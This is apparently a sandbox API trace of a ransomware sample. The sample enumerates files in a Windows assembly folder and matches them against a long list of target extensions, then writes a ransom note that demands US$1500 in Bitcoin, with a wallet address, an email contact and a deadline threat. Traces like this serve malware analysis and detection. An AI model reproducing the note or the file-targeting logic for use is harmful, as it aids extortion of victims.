(pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls\\1.0.0.0__31bf3856ad364e35\\MIGUIControls.dll", pszSpec="*.wab") returned 0 [0100.526] lstrlenA (lpString="*.wab") returned 5 [0100.526] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls\\1.0.0.0__31bf3856ad364e35\\MIGUIControls.dll", pszSpec="*.dat") returned 0 [0100.526] lstrlenA (lpString="*.dat") returned 5 [0100.526] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls\\1.0.0.0__31bf3856ad364e35\\MIGUIControls.dll", pszSpec="*.txt") returned 0 [0100.526] lstrlenA (lpString="*.txt") returned 5 [0100.526] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls\\1.0.0.0__31bf3856ad364e35\\MIGUIControls.dll", pszSpec="*.jpeg") returned 0 [0100.526] lstrlenA (lpString="*.jpeg") returned 6 [0100.526] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls\\1.0.0.0__31bf3856ad364e35\\MIGUIControls.dll", pszSpec="*.jpg") returned 0 [0100.526] lstrlenA (lpString="*.jpg") returned 5 [0100.526] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls\\1.0.0.0__31bf3856ad364e35\\MIGUIControls.dll", pszSpec="*.png") returned 0 [0100.526] lstrlenA (lpString="*.png") returned 5 [0100.526] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls\\1.0.0.0__31bf3856ad364e35\\MIGUIControls.dll", pszSpec="*.php") returned 0 [0100.526] lstrlenA (lpString="*.php") returned 5 [0100.526] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls\\1.0.0.0__31bf3856ad364e35\\MIGUIControls.dll", pszSpec="*.cs") returned 0 [0100.526] lstrlenA (lpString="*.cs") returned 4 [0100.526] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls\\1.0.0.0__31bf3856ad364e35\\MIGUIControls.dll", pszSpec="*.cpp") returned 0 [0100.526] lstrlenA (lpString="*.cpp") returned 5 [0100.526] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls\\1.0.0.0__31bf3856ad364e35\\MIGUIControls.dll", pszSpec="*.rar") returned 0 [0100.526] lstrlenA (lpString="*.rar") returned 5 [0100.526] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls\\1.0.0.0__31bf3856ad364e35\\MIGUIControls.dll", pszSpec="*.zip") returned 0 [0100.526] lstrlenA (lpString="*.zip") returned 5 [0100.526] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls\\1.0.0.0__31bf3856ad364e35\\MIGUIControls.dll", pszSpec="*.html") returned 0 [0100.526] lstrlenA (lpString="*.html") returned 6 [0100.526] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls\\1.0.0.0__31bf3856ad364e35\\MIGUIControls.dll", pszSpec="*.htm") returned 0 [0100.527] lstrlenA (lpString="*.htm") returned 5 [0100.527] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls\\1.0.0.0__31bf3856ad364e35\\MIGUIControls.dll", pszSpec="*.xlsx") returned 0 [0100.527] lstrlenA (lpString="*.xlsx") returned 6 [0100.527] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls\\1.0.0.0__31bf3856ad364e35\\MIGUIControls.dll", pszSpec="*.xls") returned 0 [0100.527] lstrlenA (lpString="*.xls") returned 5 [0100.527] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls\\1.0.0.0__31bf3856ad364e35\\MIGUIControls.dll", pszSpec="*.mp4") returned 0 [0100.527] lstrlenA (lpString="*.mp4") returned 5 [0100.527] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls\\1.0.0.0__31bf3856ad364e35\\MIGUIControls.dll", pszSpec="*.ppt") returned 0 [0100.527] lstrlenA (lpString="*.ppt") returned 5 [0100.527] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls\\1.0.0.0__31bf3856ad364e35\\MIGUIControls.dll", pszSpec="*.pptx") returned 0 [0100.527] lstrlenA (lpString="*.pptx") returned 6 [0100.527] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls\\1.0.0.0__31bf3856ad364e35\\MIGUIControls.dll", pszSpec="*.doc") returned 0 [0100.527] lstrlenA (lpString="*.doc") returned 5 [0100.527] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls\\1.0.0.0__31bf3856ad364e35\\MIGUIControls.dll", pszSpec="*.dot") returned 0 [0100.527] lstrlenA (lpString="*.dot") returned 5 [0100.527] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls\\1.0.0.0__31bf3856ad364e35\\MIGUIControls.dll", pszSpec="*.docx") returned 0 [0100.527] lstrlenA (lpString="*.docx") returned 6 [0100.527] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls\\1.0.0.0__31bf3856ad364e35\\MIGUIControls.dll", pszSpec="*.7z") returned 0 [0100.527] lstrlenA (lpString="*.7z") returned 4 [0100.527] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls\\1.0.0.0__31bf3856ad364e35\\MIGUIControls.dll", pszSpec="*.tar") returned 0 [0100.527] lstrlenA (lpString="*.tar") returned 5 [0100.527] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls\\1.0.0.0__31bf3856ad364e35\\MIGUIControls.dll", pszSpec="*.bz2") returned 0 [0100.527] lstrlenA (lpString="*.bz2") returned 5 [0100.527] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls\\1.0.0.0__31bf3856ad364e35\\MIGUIControls.dll", pszSpec="*.gz") returned 0 [0100.527] lstrlenA (lpString="*.gz") returned 4 [0100.527] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls\\1.0.0.0__31bf3856ad364e35\\MIGUIControls.dll", pszSpec="*.mkv") returned 0 [0100.528] lstrlenA (lpString="*.mkv") returned 5 [0100.528] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls\\1.0.0.0__31bf3856ad364e35\\MIGUIControls.dll", pszSpec="*.eml") returned 0 [0100.528] lstrlenA (lpString="*.eml") returned 5 [0100.528] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls\\1.0.0.0__31bf3856ad364e35\\MIGUIControls.dll", pszSpec="*.msg") returned 0 [0100.528] lstrlenA (lpString="*.msg") returned 5 [0100.528] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls\\1.0.0.0__31bf3856ad364e35\\MIGUIControls.dll", pszSpec="*.edb") returned 0 [0100.528] lstrlenA (lpString="*.edb") returned 5 [0100.528] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls\\1.0.0.0__31bf3856ad364e35\\MIGUIControls.dll", pszSpec="*.accdb") returned 0 [0100.528] lstrlenA (lpString="*.accdb") returned 7 [0100.528] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls\\1.0.0.0__31bf3856ad364e35\\MIGUIControls.dll", pszSpec="*.odb") returned 0 [0100.528] lstrlenA (lpString="*.odb") returned 5 [0100.528] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls\\1.0.0.0__31bf3856ad364e35\\MIGUIControls.dll", pszSpec="*.java") returned 0 [0100.528] lstrlenA (lpString="*.java") returned 6 [0100.528] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls\\1.0.0.0__31bf3856ad364e35\\MIGUIControls.dll", pszSpec="*.asm") returned 0 [0100.528] lstrlenA (lpString="*.asm") returned 5 [0100.528] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls\\1.0.0.0__31bf3856ad364e35\\MIGUIControls.dll", pszSpec="*.pfx") returned 0 [0100.528] lstrlenA (lpString="*.pfx") returned 5 [0100.528] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls\\1.0.0.0__31bf3856ad364e35\\MIGUIControls.dll", pszSpec="*.pem") returned 0 [0100.528] lstrlenA (lpString="*.pem") returned 5 [0100.528] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls\\1.0.0.0__31bf3856ad364e35\\MIGUIControls.dll", pszSpec="*.p12") returned 0 [0100.528] lstrlenA (lpString="*.p12") returned 5 [0100.528] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls\\1.0.0.0__31bf3856ad364e35\\MIGUIControls.dll", pszSpec="*.gpg") returned 0 [0100.528] lstrlenA (lpString="*.gpg") returned 5 [0100.528] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls\\1.0.0.0__31bf3856ad364e35\\MIGUIControls.dll", pszSpec="*.vsd") returned 0 [0100.528] lstrlenA (lpString="*.vsd") returned 5 [0100.529] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls\\1.0.0.0__31bf3856ad364e35\\MIGUIControls.dll", pszSpec="*.odg") returned 0 [0100.529] lstrlenA (lpString="*.odg") returned 5 [0100.529] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls\\1.0.0.0__31bf3856ad364e35\\MIGUIControls.dll", pszSpec="*.raw") returned 0 [0100.529] lstrlenA (lpString="*.raw") returned 5 [0100.529] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls\\1.0.0.0__31bf3856ad364e35\\MIGUIControls.dll", pszSpec="*.nef") returned 0 [0100.529] lstrlenA (lpString="*.nef") returned 5 [0100.529] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls\\1.0.0.0__31bf3856ad364e35\\MIGUIControls.dll", pszSpec="*.svg") returned 0 [0100.529] lstrlenA (lpString="*.svg") returned 5 [0100.529] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls\\1.0.0.0__31bf3856ad364e35\\MIGUIControls.dll", pszSpec="*.psd") returned 0 [0100.529] lstrlenA (lpString="*.psd") returned 5 [0100.529] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls\\1.0.0.0__31bf3856ad364e35\\MIGUIControls.dll", pszSpec="*.vmx") returned 0 [0100.529] lstrlenA (lpString="*.vmx") returned 5 [0100.529] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls\\1.0.0.0__31bf3856ad364e35\\MIGUIControls.dll", pszSpec="*.vmdk") returned 0 [0100.529] lstrlenA (lpString="*.vmdk") returned 6 [0100.529] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls\\1.0.0.0__31bf3856ad364e35\\MIGUIControls.dll", pszSpec="*.vdi") returned 0 [0100.529] lstrlenA (lpString="*.vdi") returned 5 [0100.529] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls\\1.0.0.0__31bf3856ad364e35\\MIGUIControls.dll", pszSpec="*.lay6") returned 0 [0100.529] lstrlenA (lpString="*.lay6") returned 6 [0100.529] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls\\1.0.0.0__31bf3856ad364e35\\MIGUIControls.dll", pszSpec="*.mpeg") returned 0 [0100.529] lstrlenA (lpString="*.mpeg") returned 6 [0100.529] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls\\1.0.0.0__31bf3856ad364e35\\MIGUIControls.dll", pszSpec="*.djvu") returned 0 [0100.529] lstrlenA (lpString="*.djvu") returned 6 [0100.530] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls\\1.0.0.0__31bf3856ad364e35\\MIGUIControls.dll", pszSpec="*.tiff") returned 0 [0100.530] lstrlenA (lpString="*.tiff") returned 6 [0100.530] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls\\1.0.0.0__31bf3856ad364e35\\MIGUIControls.dll", pszSpec="*.backup") returned 0 [0100.530] lstrlenA (lpString="*.backup") returned 8 [0100.530] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls\\1.0.0.0__31bf3856ad364e35\\MIGUIControls.dll", pszSpec="*.pdf") returned 0 [0100.530] lstrlenA (lpString="*.pdf") returned 5 [0100.530] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls\\1.0.0.0__31bf3856ad364e35\\MIGUIControls.dll", pszSpec="*.cert") returned 0 [0100.530] lstrlenA (lpString="*.cert") returned 6 [0100.530] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls\\1.0.0.0__31bf3856ad364e35\\MIGUIControls.dll", pszSpec="*.docm") returned 0 [0100.530] lstrlenA (lpString="*.docm") returned 6 [0100.530] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls\\1.0.0.0__31bf3856ad364e35\\MIGUIControls.dll", pszSpec="*.xlsm") returned 0 [0100.530] lstrlenA (lpString="*.xlsm") returned 6 [0100.530] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls\\1.0.0.0__31bf3856ad364e35\\MIGUIControls.dll", pszSpec="*.dwg") returned 0 [0100.530] lstrlenA (lpString="*.dwg") returned 5 [0100.530] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls\\1.0.0.0__31bf3856ad364e35\\MIGUIControls.dll", pszSpec="*.nd") returned 0 [0100.530] lstrlenA (lpString="*.nd") returned 4 [0100.530] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls\\1.0.0.0__31bf3856ad364e35\\MIGUIControls.dll", pszSpec="*.tlg") returned 0 [0100.530] lstrlenA (lpString="*.tlg") returned 5 [0100.530] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls\\1.0.0.0__31bf3856ad364e35\\MIGUIControls.dll", pszSpec="*.lgb") returned 0 [0100.530] lstrlenA (lpString="*.lgb") returned 5 [0100.530] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls\\1.0.0.0__31bf3856ad364e35\\MIGUIControls.dll", pszSpec="*.mov") returned 0 [0100.530] lstrlenA (lpString="*.mov") returned 5 [0100.530] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls\\1.0.0.0__31bf3856ad364e35\\MIGUIControls.dll", pszSpec="*.xdw") returned 0 [0100.530] lstrlenA (lpString="*.xdw") returned 5 [0100.530] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls\\1.0.0.0__31bf3856ad364e35\\MIGUIControls.dll", pszSpec="*.ods") returned 0 [0100.531] lstrlenA (lpString="*.ods") returned 5 [0100.531] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls\\1.0.0.0__31bf3856ad364e35\\MIGUIControls.dll", pszSpec="*.wav") returned 0 [0100.531] lstrlenA (lpString="*.wav") returned 5 [0100.531] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls\\1.0.0.0__31bf3856ad364e35\\MIGUIControls.dll", pszSpec="*.mp3") returned 0 [0100.531] lstrlenA (lpString="*.mp3") returned 5 [0100.531] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls\\1.0.0.0__31bf3856ad364e35\\MIGUIControls.dll", pszSpec="*.aiff") returned 0 [0100.531] lstrlenA (lpString="*.aiff") returned 6 [0100.531] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls\\1.0.0.0__31bf3856ad364e35\\MIGUIControls.dll", pszSpec="*.flac") returned 0 [0100.531] lstrlenA (lpString="*.flac") returned 6 [0100.531] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls\\1.0.0.0__31bf3856ad364e35\\MIGUIControls.dll", pszSpec="*.m4a") returned 0 [0100.531] lstrlenA (lpString="*.m4a") returned 5 [0100.531] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls\\1.0.0.0__31bf3856ad364e35\\MIGUIControls.dll", pszSpec="*.csv") returned 0 [0100.531] lstrlenA (lpString="*.csv") returned 5 [0100.531] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92e4d8b0, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x92e4d8b0, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x92e99b70, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x342000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="MIGUIControls.dll", cAlternateFileName="")) returned 0 [0100.531] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0100.531] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdd47bc2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc1659862, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0xc1659862, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="1.0.0.0__31bf3856ad364e35", cAlternateFileName="100~1.0__")) returned 0 [0100.531] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0100.531] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x38308564, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x38308564, ftLastAccessTime.dwHighDateTime=0x1ca0445, ftLastWriteTime.dwLowDateTime=0x38308564, ftLastWriteTime.dwHighDateTime=0x1ca0445, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x69004d, dwReserved1=0x750067, cFileName="MiguiControls.Resources", cAlternateFileName="MIGUIC~1.RES")) returned 1 [0100.531] lstrcmpA (lpString1=".", lpString2="MiguiControls.Resources") returned -1 [0100.532] lstrcmpA (lpString1="..", lpString2="MiguiControls.Resources") returned -1 [0100.532] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\*.*") returned="*.*" [0100.532] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\", lpString2="MiguiControls.Resources" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls.Resources") returned="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls.Resources" [0100.532] lstrlenA (lpString="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls.Resources") returned 52 [0100.532] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls.Resources\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x38308564, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x38308564, ftLastAccessTime.dwHighDateTime=0x1ca0445, ftLastWriteTime.dwLowDateTime=0x38308564, ftLastWriteTime.dwHighDateTime=0x1ca0445, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0100.532] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0100.533] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x38308564, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x38308564, ftLastAccessTime.dwHighDateTime=0x1ca0445, ftLastWriteTime.dwLowDateTime=0x38308564, ftLastWriteTime.dwHighDateTime=0x1ca0445, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0100.533] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0100.533] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0100.533] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x38308564, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x1ef2c95d, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ef2c95d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="1.0.0.0_en_31bf3856ad364e35", cAlternateFileName="100~1.0_E")) returned 1 [0100.533] lstrcmpA (lpString1=".", lpString2="1.0.0.0_en_31bf3856ad364e35") returned -1 [0100.533] lstrcmpA (lpString1="..", lpString2="1.0.0.0_en_31bf3856ad364e35") returned -1 [0100.533] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls.Resources\\*.*") returned="*.*" [0100.533] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls.Resources\\", lpString2="1.0.0.0_en_31bf3856ad364e35" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls.Resources\\1.0.0.0_en_31bf3856ad364e35") returned="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls.Resources\\1.0.0.0_en_31bf3856ad364e35" [0100.533] lstrlenA (lpString="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls.Resources\\1.0.0.0_en_31bf3856ad364e35") returned 80 [0100.533] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls.Resources\\1.0.0.0_en_31bf3856ad364e35\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x38308564, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x1ef2c95d, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ef2c95d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0100.533] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0100.533] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x38308564, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x1ef2c95d, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ef2c95d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0100.533] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0100.533] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0100.534] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb6d5cd, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xbeb51b3, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xbb6d5cd, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x17b000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="MIGUIControls.resources.dll", cAlternateFileName="")) returned 1 [0100.534] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0100.534] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="MIGUIControls.resources.dll") returned -1 [0100.534] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="MIGUIControls.resources.dll") returned -1 [0100.534] lstrcmpiA (lpString1="", lpString2="MIGUIControls.resources.dll") returned -1 [0100.534] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls.Resources\\1.0.0.0_en_31bf3856ad364e35\\*.*") returned="*.*" [0100.534] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls.Resources\\1.0.0.0_en_31bf3856ad364e35\\" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls.Resources\\1.0.0.0_en_31bf3856ad364e35\\") returned="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls.Resources\\1.0.0.0_en_31bf3856ad364e35\\" [0100.534] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls.Resources\\1.0.0.0_en_31bf3856ad364e35\\" | out: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls.Resources\\1.0.0.0_en_31bf3856ad364e35\\") returned="" [0100.534] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls.Resources\\1.0.0.0_en_31bf3856ad364e35\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls.Resources\\1.0.0.0_en_31bf3856ad364e35\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls.Resources\\1.0.0.0_en_31bf3856ad364e35\\HOW TO DECRYPT FILES.txt" [0100.534] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls.Resources\\1.0.0.0_en_31bf3856ad364e35\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\miguicontrols.resources\\1.0.0.0_en_31bf3856ad364e35\\how to decrypt files.txt")) returned 0xffffffff [0100.534] CreateFileA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls.Resources\\1.0.0.0_en_31bf3856ad364e35\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\miguicontrols.resources\\1.0.0.0_en_31bf3856ad364e35\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0100.535] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0100.535] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0100.537] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0100.537] CloseHandle (hObject=0x90) returned 1 [0100.537] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls.Resources\\1.0.0.0_en_31bf3856ad364e35\\", lpString2="MIGUIControls.resources.dll" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls.Resources\\1.0.0.0_en_31bf3856ad364e35\\MIGUIControls.resources.dll") 